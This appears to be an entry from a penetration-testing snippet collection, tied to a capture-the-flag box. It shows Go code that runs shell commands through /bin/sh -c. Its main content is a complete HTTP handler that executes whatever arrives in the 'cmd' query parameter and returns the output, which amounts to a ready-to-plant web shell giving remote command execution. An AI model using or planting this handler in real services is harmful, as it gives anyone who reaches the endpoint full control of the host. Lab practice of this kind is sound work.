Operating-System Commands
Execute operating-system commands in Go
exec.Command() receives an executable followed by its arguments. Passing a complete shell expression as the executable does not process spaces, pipes, redirection, or variable expansion.
Passing the command to /bin/sh -c preserves the complete expression as one shell argument:
import "os/exec"
command := "<COMMAND>"
process := exec.Command("/bin/sh", "-c", command)
outputBytes, err := process.CombinedOutput()
output := string(outputBytes)CombinedOutput() waits for the command to finish and captures standard output and standard error together. err is non-nil when the process cannot start or exits unsuccessfully.
Return command output from an HTTP handler
import (
"fmt"
"net/http"
"os/exec"
)
func commandHandler(w http.ResponseWriter, r *http.Request) {
command := r.URL.Query().Get("cmd")
if command == "" {
return
}
process := exec.Command("/bin/sh", "-c", command)
outputBytes, err := process.CombinedOutput()
w.Header().Set("Content-Type", "text/plain")
_, _ = w.Write(outputBytes)
if err != nil {
_, _ = fmt.Fprintf(w, "\ncommand error: %v\n", err)
}
}A request to /command?cmd=id returns both successful command output and shell error output directly in the response body.
Find by: go, golang, os exec, exec command, operating system command, sh c, shell command, combinedoutput, stdout, stderr, command handler, in band command output, RCE · Source: HTB/Testimonial